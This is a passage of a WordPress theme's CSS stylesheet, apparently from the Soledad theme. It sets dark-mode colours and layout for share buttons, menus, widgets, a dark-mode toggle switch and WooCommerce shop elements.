body.pcdm-enable.pcdark-mode .pc-fho-wrap .mp-link:hover:before {
    background-color: var(--ohbg);
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mpct:hover ~ .mp-link:before {
    background-color: var(--ohbg);
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mc .pc-fho-mt a,
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mc .pc-fho-mm a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mi-i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mi-i a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pc-fho-wrap .cat > a.penci-cat-name,
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lt a,
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm span,
body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm a,
body.pcdm-enable.pcdark-mode .pc-fho-mpct .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .pc-fho-mpct .grid-post-box-meta a {
    color: var(--pctext-cl);
}
@media only screen and (max-width: 767px) {
    body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mp:before {
        background-color: var(--obg);
    }
    body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mp:hover:before {
        background-color: var(--ohbg);
    }
    body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm a {
        color: var(--pctext-cl);
    }
    body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm span {
        color: var(--pcmeta-cl);
    }
    body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-li .cat > a.penci-cat-name {
        color: var(--pcaccent-cl);
    }
    body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lt a {
        color: var(--pcheading-cl);
    }
}
body.pcdm-enable.pcdark-mode .elementor-element .pcbg-content-inner .pcbg-title,
body.pcdm-enable.pcdark-mode .elementor-element .pcbg-content-inner .pcbg-title a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .elementor-element .pcbg-content-inner .pcbg-title a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share:not(.penci-icon-full) .post-share-item,
body.pcdm-enable.pcdark-mode .pcnew-share.penci-icon-full .post-share-item i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share .post-share-plike {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share.border-style .post-share-plike {
    background-color: transparent;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-txt.post-share a .dt-share {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .show-txt.focus-icon .post-share-item i {
    background-color: rgba(0, 0, 0, 0.5);
}
body.pcdm-enable.pcdark-mode .show-txt.focus-icon .post-share-item.post-share-plike i {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .show-txt.txt-below.post-share a .dt-share {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-txt.border-style.post-share a .dt-share {
    color: var(--pctext-cl);
    border-color: rgba(0, 0, 0, 0.1);
}
body.pcdm-enable.pcdark-mode .black-ver .post-share-item,
body.pcdm-enable.pcdark-mode .black-ver .post-share-item i {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box-n19.pcnew-share.border-style .post-share-item i,
body.pcdm-enable.pcdark-mode .tags-share-box-n20.pcnew-share.border-style .post-share-item i,
body.pcdm-enable.pcdark-mode .tags-share-box-n20 .post-share-item i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i,
body.pcdm-enable.pcdark-mode .tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .tags-share-box-n20 .post-share-item i:after {
    border-color: transparent transparent transparent transparent;
}
body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:before,
body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:after {
    border-color: transparent transparent transparent var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box-n19.post-share a.penci-post-like,
body.pcdm-enable.pcdark-mode .tags-share-box-n20.post-share a.penci-post-like {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share.penci-social-colored .post-share-item.post-share-plike {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .post-share.tags-share-box-n14 .count-number-like,
body.pcdm-enable.pcdark-mode .pcnew-share.penci-social-colored .post-share-item.post-share-plike .count-number-like {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share.border-style .post-share-item i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s1 .pcmt-icon {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s2 .pcmt-icon {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s3 .pcmt-icon {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s3 .pcmt-icon:after {
    border-color: transparent transparent transparent var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s4 .pcmt-icon:before {
    border-color: transparent transparent transparent #fff;
}
body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s4 .pcmt-icon:after {
    border-color: transparent transparent transparent var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s1 .term-labels,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s1 .pctmp-term-item {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s2 .term-labels,
body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s3 .term-labels,
body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s4 .term-labels,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s2 .pctmp-term-item,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s3 .pctmp-term-item,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s4 .term-labels,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .pctmp-term-list .pctmp-term-item:hover,
body.pcdm-enable.pcdark-mode .pctmp-term-list .pctmp-term-item.current-item,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item.current-item,
body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item:hover {
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
    color: white;
}
body.pcdm-enable.pcdark-mode .penci-social-colored .post-share-item.post-share-expand i,
body.pcdm-enable.pcdark-mode .pcnew-share.size-large.penci-icon-full .post-share-item.post-share-expand i,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand {
    background-color: var(--pcbg-cl);
    color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike .count-number-like,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat.s1 .cat > .penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-standard-cat.s2 .cat > .penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-standard-cat.s3 .cat > .penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-standard-cat.s4 .cat > .penci-cat-name {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat.s2 .cat > .penci-cat-name {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat.s3 .cat > .penci-cat-name {
    background-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat.s4 .cat > .penci-cat-name {
    background-color: transparent;
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat.s4 .cat > .penci-cat-name:hover {
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc-wrapper {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc-wrapper.s2 {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc-wrapper .penci-toc-title-toggle {
    background-color: var(--pcmeta-cl);
    color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc-wrapper.s2 .penci-toc-title-toggle {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc ul a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc ul li.active > a,
body.pcdm-enable.pcdark-mode .penci-toc ul a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-toc-wrapper.s3 {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .pcsb-ft-o .penci-container-inside.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .container.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .cat > a.penci-cat-name,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .post-box-meta-single a,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard h2,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .pc_titlebig_standard,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .pc_titlebig_standard a,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .post-title,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard h2 a,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .post-box-meta-single span,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .post-box-meta-single span i,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .author-post span,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .author-post span a,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .penci-container-inside.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .penci-container-inside.penci-breadcrumb span a,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .container.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .pcsb-ft-o .container.penci-breadcrumb span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-share.pcnew-share .count-number-like,
body.pcdm-enable.pcdark-mode .post-share.tags-share-box-2_3.post-share .count-number-like,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-share.pcnew-share.border-style .count-number-like {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li i {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li > a.clactive,
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li:hover > a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul ul li a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-4 .pcnav-lgroup {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-loading-animation-1 .penci-loading-animation,
body.pcdm-enable.pcdark-mode .penci-loading-animation-1 .penci-loading-animation:before,
body.pcdm-enable.pcdark-mode .penci-loading-animation-1 .penci-loading-animation:after,
body.pcdm-enable.pcdark-mode .penci-loading-animation-5 .penci-loading-animation,
body.pcdm-enable.pcdark-mode .penci-loading-animation-6 .penci-loading-animation:before,
body.pcdm-enable.pcdark-mode .penci-loading-animation-7 .penci-loading-animation,
body.pcdm-enable.pcdark-mode .penci-loading-animation-8 .penci-loading-animation,
body.pcdm-enable.pcdark-mode .penci-loading-animation-9 .penci-loading-circle-inner:before {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-three-bounce .one,
body.pcdm-enable.pcdark-mode .penci-three-bounce .two,
body.pcdm-enable.pcdark-mode .penci-three-bounce .three {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-loading-animation-1 > div {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pc-widget-user-lists .count {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci_posts_tabs_widget .tabs ul > li.active a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci_posts_tabs_widget .author-info {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci_snapchat_widget .pc-snapchat-avatar {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .penci_snapchat_widget .pc-snapchat-wrapper a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pc-tiktok-verified {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-tweets-lists .tweet-intents-inner > span a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-1.hlmark .category-item-count {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-wstories-wrapper .pc-webstory-thumb-wrapper {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper {
    background-color: gray;
}
body.pcdm-enable.pcdark-mode .pc-wstories-popup-wrapper {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-wstories-popup-wrapper .pc-ws-btn {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-social-wrap .penci-social-item,
body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-social-wrap .penci-social-item i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li.featured-news2 .side-item .side-item-text,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-biggrid .penci-bgitin {
    background-color: transparent !important;
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .pcbg-bgoverlaytext.active-overlay {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element:not(.elementor-motion-effects-element-type-background) > .elementor-widget-wrap,
body.pcdm-enable.pcdark-mode .elementor .elementor-element > .elementor-widget-wrap > .elementor-motion-effects-container > .elementor-motion-effects-layer {
    background-color: transparent !important;
}
body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-child-categories,
body.pcdm-enable.pcdark-mode .navigation .menu .sub-menu,
body.pcdm-enable.pcdark-mode .navigation .menu .children {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .cat > a.penci-cat-name {
    color: var(--pcaccent-cl) !important;
}
body.pcdm-enable.pcdark-mode .navigation .menu .sub-menu,
body.pcdm-enable.pcdark-mode .navigation .menu .children,
body.pcdm-enable.pcdark-mode .navigation ul.menu ul.sub-menu li a {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .post-mega-title a,
body.pcdm-enable.pcdark-mode .pc-builder-element .navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .elementor-element .penci-pagination.penci-ajax-more a.penci-ajax-more-button {
    color: #fff;
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-recipe-tagged .prt-icon span,
body.pcdm-enable.pcdark-mode .penci-recipe-action-buttons .penci-recipe-button:hover,
body.pcdm-enable.pcdark-mode .elementor-element .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover {
    color: #fff;
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover .ajaxdot,
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover i {
    color: #fff;
}
body.pcdm-enable.pcdark-mode .penci-woo-before-main-content .penci-products-per-page span,
body.pcdm-enable.pcdark-mode .single-product-share a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sticky-cart,
body.pcdm-enable.pcdark-mode .single-product-share a {
    background-color: var(--pcbg-l-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .jq-toast-single a {
    border-color: transparent;
}
/* Switcher */
.pc_dm_switch {
    position: relative;
    display: block;
    width: 45px;
    height: 25px
}
.pc_dm_switch input {
    opacity: 0;
    width: 0;
    height: 0
}
.pc_dm_switch .slider {
    position: absolute;
    cursor: pointer;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background-color: var(--pcdm_btnbg);
    transition: .4s
}
.pc_dm_switch .slider:before {
    color: var(--pcdm_btnd);
    background-color: var(--pcdm_btndbg);
    font-family: "penciicon";
    font-size: 14px !important;
    position: absolute;
    content: "\f117";
    height: 19px;
    line-height: 20px;
    width: 19px;
    text-align: center;
    left: 3px;
    bottom: 3px;
    box-shadow: 0 1px 3px rgba(0, 0, 0, .3);
    transition: .25s;
}
body.pcdark-mode .pc_dm_switch .slider {
    background-color: hsla(0, 0%, 100%, .3)
}
body.pcdark-mode .pc_dm_switch .slider:before {
    content: "\f116";
    transform: translateX(19px);
    color: var(--pcdm_btnn);
    background: var(--pcdm_btnnbg);
}
.pc_dm_switch .slider.round {
    border-radius: 25px
}
.pc_dm_switch .slider.round:before {
    border-radius: 50%
}
.penci-top-bar .pc_dm_mode,
#navigation .pc_dm_mode {
    float: right;
    margin-left: 12px;
    height: 58px;
    display: flex;
    align-items: center;
    transition: .3s;
}
body.rtl #navigation .pc_dm_mode {
    margin-left: 0;
    margin-right: 12px;
    float: left;
}
body.rtl #navigation.header-4 .pc_dm_mode,
body.rtl #navigation.header-5 .pc_dm_mode,
#navigation.header-4 .pc_dm_mode,
#navigation.header-5 .pc_dm_mode {
    float: none;
    display: inline-flex;
}
@media only screen and (min-width: 961px) {
    #navigation.header-6 .pc_dm_mode,
    #navigation.header-10 .pc_dm_mode,
    #navigation.header-11 .pc_dm_mode {
        height: 80px;
    }
}
.is-sticky #navigation.header-6 .pc_dm_mode,
.is-sticky #navigation.header-10 .pc_dm_mode,
.is-sticky #navigation.header-11 .pc_dm_mode {
    height: 58px;
}
.penci-top-bar .pc_dm_mode {
    height: 32px;
}
@media only screen and (max-width: 960px) {
    #navigation .pc_dm_mode {
        height: 58px;
        line-height: 58px;
    }
}
.penci-top-bar .pc_dm_mode .pc_dm_switch .slider {
    background-color: rgba(255, 255, 255, 0.1);
}
body.pclight-mode .penci-show-onlight,
body.pcdark-mode .penci-show-ondark {
    display: block;
}
body.pclight-mode .penci-show-ondark,
body.pcdark-mode .penci-show-onlight {
    display: none;
}
.pc_dm_mode.style_2 .pc_dm_switch:before,
.pc_dm_mode.style_2 .pc_dm_switch:after {
    content: "\f116";
    font-family: "penciicon";
    font-size: 14px !important;
    position: absolute;
    left: -18px;
    top: 50%;
    transform: translateY(-50%);
    color: var(--pcdm_btnd);
}
.pc_dm_mode.style_2 .pc_dm_switch:after {
    content: "\f117";
    left: auto;
    right: -18px;
    color: var(--pcdm_btnn);
}
.pc_dm_mode.style_2 .pc_dm_switch .slider:before {
    content: '';
}
.pc_dm_mode.style_2 {
    padding-left: 18px;
    padding-right: 18px;
}
.pc_dm_mode.style_3 .pc_dm_switch {
    width: 25px;
}
.pc_dm_mode.style_3 .pc_dm_switch .slider.round:before,
.pc_dm_mode.style_3 .pc_dm_switch .slider.round:after,
.pc_dm_mode.style_3 .pc_dm_switch .slider.round {
    border-radius: 50%;
}
body.pcdark-mode .pc_dm_mode.style_3 .pc_dm_switch .slider:before {
    transform: none;
}
.pc_dm_mode.style_4 .pc_dm_switch {
    width: 25px;
}
.pc_dm_mode.style_4 .pc_dm_switch .slider.round:before,
.pc_dm_mode.style_4 .pc_dm_switch .slider.round:after,
.pc_dm_mode.style_4 .pc_dm_switch .slider.round {
    border-radius: 0;
    box-shadow: unset;
    background-color: transparent;
}
.pc_dm_mode.style_4 .pc_dm_switch .slider {
    box-shadow: none;
}
body.pcdark-mode .pc_dm_mode.style_4 .pc_dm_switch .slider:before {
    transform: none;
    box-shadow: none;
    background: var(--pcdm_btnnbg);
}
body.pcdark-mode .pc_dm_mode.style_4 .pc_dm_switch .slider {
    color: var(--pcdm_btnn);
    background: var(--pcdm_btnnbg);
}
body.pcdark-mode .pc_dm_mode.style_4 .pc_dm_switch .slider,
.penci-top-bar .pc_dm_mode.style_4 .pc_dm_switch .slider {
    background: transparent;
}
body.pcdark-mode .pcbtn-wrapper a.pcbtn,
body.pcdark-mode .penci-dmcheck:not(.penci-elbg-img) .pcbtn-wrapper a.pcbtn {
    background: var(--pcaccent-cl);
    border-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation.header-11 > .container {
    background: var(--pcbg-cl) !important;
}
/* WooCommerce*/
body.pcdm-enable.pcdark-mode .quick-shop-shown .quick-shop-wrapper {
    background-color: rgba(55, 55, 55, 0.95);
}
body.pcdm-enable.pcdark-mode .variations select,
body.pcdm-enable.pcdark-mode .woocommerce-ordering select,
body.pcdm-enable.pcdark-mode .penci-widget-layered-nav-dropdown-form select {
    border-color: rgba(0, 0, 0, 0.9);
    background-color: transparent;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons,
body.pcdm-enable.pcdark-mode .penci-header-cart-detail .woocommerce-mini-cart__total.total,
body.pcdm-enable.pcdark-mode .penci-header-cart-detail {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce-ordering select option,
body.pcdm-enable.pcdark-mode .penci-widget-layered-nav-dropdown-form select option,
body.pcdm-enable.pcdark-mode .variations select option {
    background-color: transparent;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode div.quantity input[type="number"],
body.pcdm-enable.pcdark-mode div.quantity input[type="button"] {
    background: transparent;
}
body.pcdm-enable.pcdark-mode .penci-top-relate-post ul li.item-shop-link svg {
    fill: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-filter .sidefilter-heading,
body.pcdm-enable.pcdark-mode .penci-sidebar-cart .sidecart-heading {
    background-color: var(--pcbg-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-filter,
body.pcdm-enable.pcdark-mode .penci-sidebar-cart,
body.pcdm-enable.pcdark-mode .penci-sidebar-cart .penci-woo-cart-buttons-group,
body.pcdm-enable.pcdark-mode .penci-sidebar-cart .penci-woo-cart-total-group {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce table.shop_table td.product-name a,
body.pcdm-enable.pcdark-mode .woocommerce table.shop_table th {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .select2-dropdown,
body.pcdm-enable.pcdark-mode .select2-container--default .select2-selection--single,
body.pcdm-enable.pcdark-mode .woocommerce-checkout #payment ul.payment_methods,
body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-error,
body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-info,
body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-message,
body.pcdm-enable.pcdark-mode.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table,
body.pcdm-enable.pcdark-mode.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce table.shop_table a.remove,
body.pcdm-enable.pcdark-mode .woocommerce table.shop_table a.remove:before {
    color: var(--pctext-cl) !important;
}
body.pcdm-enable.pcdark-mode.woocommerce-cart table.cart td.actions .coupon .input-text,
body.pcdm-enable.pcdark-mode .woocommerce .input-text,
body.pcdm-enable.pcdark-mode .woocommerce form .form-row .input-text,
body.pcdm-enable.pcdark-mode .woocommerce form .form-row .input-text {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce button.button {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .select2-container--default .select2-results__option[aria-selected="true"],
body.pcdm-enable.pcdark-mode .select2-container--default .select2-results__option[data-selected="true"] {
    background-color: var(--pcbg-d-cl);
}
body.pcdm-enable.pcdark-mode .penci-products-tabs .products-tabs-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .products.product-list .penci-soledad-product .penci-product-loop-inner-content,
body.pcdm-enable.pcdark-mode .penci-sidebar-cart .penci-woo-cart-total-group {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
    background-color: var(--pcbg-d-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce div.product div.images .woocommerce-product-gallery__trigger:hover {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce-accordion-item .penci-review-style-default #comments .woocommerce-Reviews-title,
body.pcdm-enable.pcdark-mode .product .woocommerce-accordion-item #respond .comment-reply-title,
body.pcdm-enable.pcdark-mode .woocommerce div.product .product_title,
body.pcdm-enable.pcdark-mode.woocommerce div.product .product_title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-content-quickview {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-top-relate-post .inner-content {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce div.product form.cart .button,
body.pcdm-enable.pcdark-mode.woocommerce div.product form.cart .button {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .hotspot-content {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .variations select,
body.pcdm-enable.pcdark-mode .woocommerce-ordering select,
body.pcdm-enable.pcdark-mode .penci-widget-layered-nav-dropdown-form select {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce .widget_layered_nav_filters ul li a:before {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-woo-before-main-content .penci-products-per-page a.current-variation {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode #navigation,
body.pcdm-enable.pcdark-df.pclight-mode .show-search {
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode #navigation,
body.pcdm-enable.pcdark-df.pclight-mode #navigation.header-layout-bottom {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .top-search-classes a.cart-contents,
body.pcdm-enable.pcdark-df.pclight-mode .pcheader-icon > a, #navigation .button-menu-mobile,
body.pcdm-enable.pcdark-df.pclight-mode .header-social a i,
body.pcdm-enable.pcdark-df.pclight-mode .main-nav-social a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .penci-sidebar-content .widget-title {
    background: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .about-widget .about-me-heading,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget select,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget select option,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .menu li a,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #wp-calendar tbody td a,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget.widget_categories ul li,
